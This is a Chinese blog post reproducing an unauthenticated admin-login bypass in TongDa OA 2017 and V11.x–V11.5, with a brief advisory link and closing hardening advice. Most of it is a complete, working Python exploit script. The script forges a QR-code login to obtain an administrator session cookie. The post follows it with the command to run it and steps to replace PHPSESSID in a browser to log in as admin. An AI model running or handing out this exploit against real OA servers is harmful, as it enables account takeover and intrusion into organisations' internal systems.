通达OA2017任意用户免密码登录漏洞

在系统安全 标签 ,

通达OA2017版本以及V11.x～V11.5都存在此问题。官方已经给出了相关的修复。

关于此漏洞可以移步阿里云的安全公告查看： https://help.aliyun.com/noticelist/articleid/1060277736.html?spm=a2c4g.789213612.n2.6.7d854c077uDTo0

通达OA漏洞复现过程

一、使用python写的POC脚本获得管理员session

oa_poc.py

'''
@Author         : Sp4ce
@Date           : 2020-03-17 23:42:16
@LastEditors    : Sp4ce
@LastEditTime   : 2020-04-22 16:24:52
@Description    : Challenge Everything.
'''
import requests
from random import choice
import argparse
import json
 
USER_AGENTS = [
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; AcooBrowser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Acoo Browser; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.04506)",
    "Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.5; AOLBuild 4337.35; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
    "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
    "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
    "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
    "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)",
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)",
    "Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527+ (KHTML, like Gecko, Safari/419.3) Arora/0.6",
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1",
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9) Gecko/20080705 Firefox/3.0 Kapiko/3.0",
    "Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5",
    "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.56 Safari/535.11",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/535.20 (KHTML, like Gecko) Chrome/19.0.1036.7 Safari/535.20",
    "Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.11 TaoBrowser/2.0 Safari/536.11",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71 Safari/537.1 LBBROWSER",
    "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; LBBROWSER)",
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E; LBBROWSER)",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.84 Safari/535.11 LBBROWSER",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
    "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; QQBrowser/7.0.3698.400)",
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; SV1; QQDownload 732; .NET4.0C; .NET4.0E; 360SE)",
    "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)",
    "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
    "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.89 Safari/537.1",
    "Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5",
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b13pre) Gecko/20110307 Firefox/4.0b13pre",
    "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:16.0) Gecko/20100101 Firefox/16.0",
    "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11",
    "Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10"
]
 
headers={}
 
def getV11Session(url):
    checkUrl = url+'/general/login_code.php'
    try:
        headers["User-Agent"] = choice(USER_AGENTS)
        res = requests.get(checkUrl,headers=headers)
        resText = str(res.text).split('{')
        codeUid = resText[-1].replace('}"}', '').replace('rn', '')
        getSessUrl = url+'/logincheck_code.php'
        res = requests.post(
            getSessUrl, data={'CODEUID': '{'+codeUid+'}', 'UID': int(1)},headers=headers)
        print('[+]Get Available COOKIE:'+res.headers['Set-Cookie'])
    except:
        print('[-]Something Wrong With '+url)
 
 
 
def get2017Session(url):
    checkUrl = url+'/ispirit/login_code.php'
    try:
        headers["User-Agent"] = choice(USER_AGENTS)
        res = requests.get(checkUrl,headers=headers)
        resText = json.loads(res.text)
        codeUid = resText['codeuid']
        codeScanUrl = url+'/general/login_code_scan.php'
        res = requests.post(codeScanUrl, data={'codeuid': codeUid, 'uid': int(
            1), 'source': 'pc', 'type': 'confirm', 'username': 'admin'},headers=headers)
        resText = json.loads(res.text)
        status = resText['status']
        if status == str(1):
            getCodeUidUrl = url+'/ispirit/login_code_check.php?codeuid='+codeUid
            res = requests.get(getCodeUidUrl)
            print('[+]Get Available COOKIE:'+res.headers['Set-Cookie'])
        else:
            print('[-]Something Wrong With '+url)
    except:
        print('[-]Something Wrong With '+url)
 
 
if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "-v",
        "--tdoaversion",
        type=int,
        choices=[11, 2017],
        help="Target TongDa OA Version. e.g: -v 11、-v 2017")
    parser.add_argument(
        "-url",
        "--targeturl",
        type=str,
        help="Target URL. e.g: -url 192.168.2.1、-url http://192.168.2.1"
    )
    args = parser.parse_args()
    url = args.targeturl
    if 'http://' not in url:
        url = 'http://' + url
    if args.tdoaversion == 11:
        getV11Session(url)
    elif args.tdoaversion == 2017:
        get2017Session(url)
    else:
        parser.print_help()

在dos窗口执行以下命令，即可获得cookie，如果是v11版本则将下面命令里面的2017换成11。

python oa_poc.py -v 2017 -url http://通达oa的web登录地址

二、替换浏览器cookie

在浏览器中打开http://通达OA的web地址/general/index.php 这时会提示没有登录，直接F12，找到存储cookie，将PHPSESSID的值修改为python脚本结果里面的值。

替换完成后刷新页面即可看到以管理员身份登录成功！

总结：

建议所有的业务系统一定要跟官网保持同步升级，要么就是完全的使用内网访问（当然这只能一定程度上防范外部人员）。还有就是定期去关注一些网络公司发布的公告！

如果是自研系统，在系统设计环节重要的功能有必要二次验证当前用户的登录密码，以及使用其他二次校验密码！另外系统增加一定的风险预警也是有必要的比如在非业务时间或ip发生了用户登录或操作事件及时触发报警通知。

基于互联网精神，在注明出处的前提下本站文章可自由转载！

本文链接：https://ranjuan.cn/tongda-oa2017-anonymous-login/

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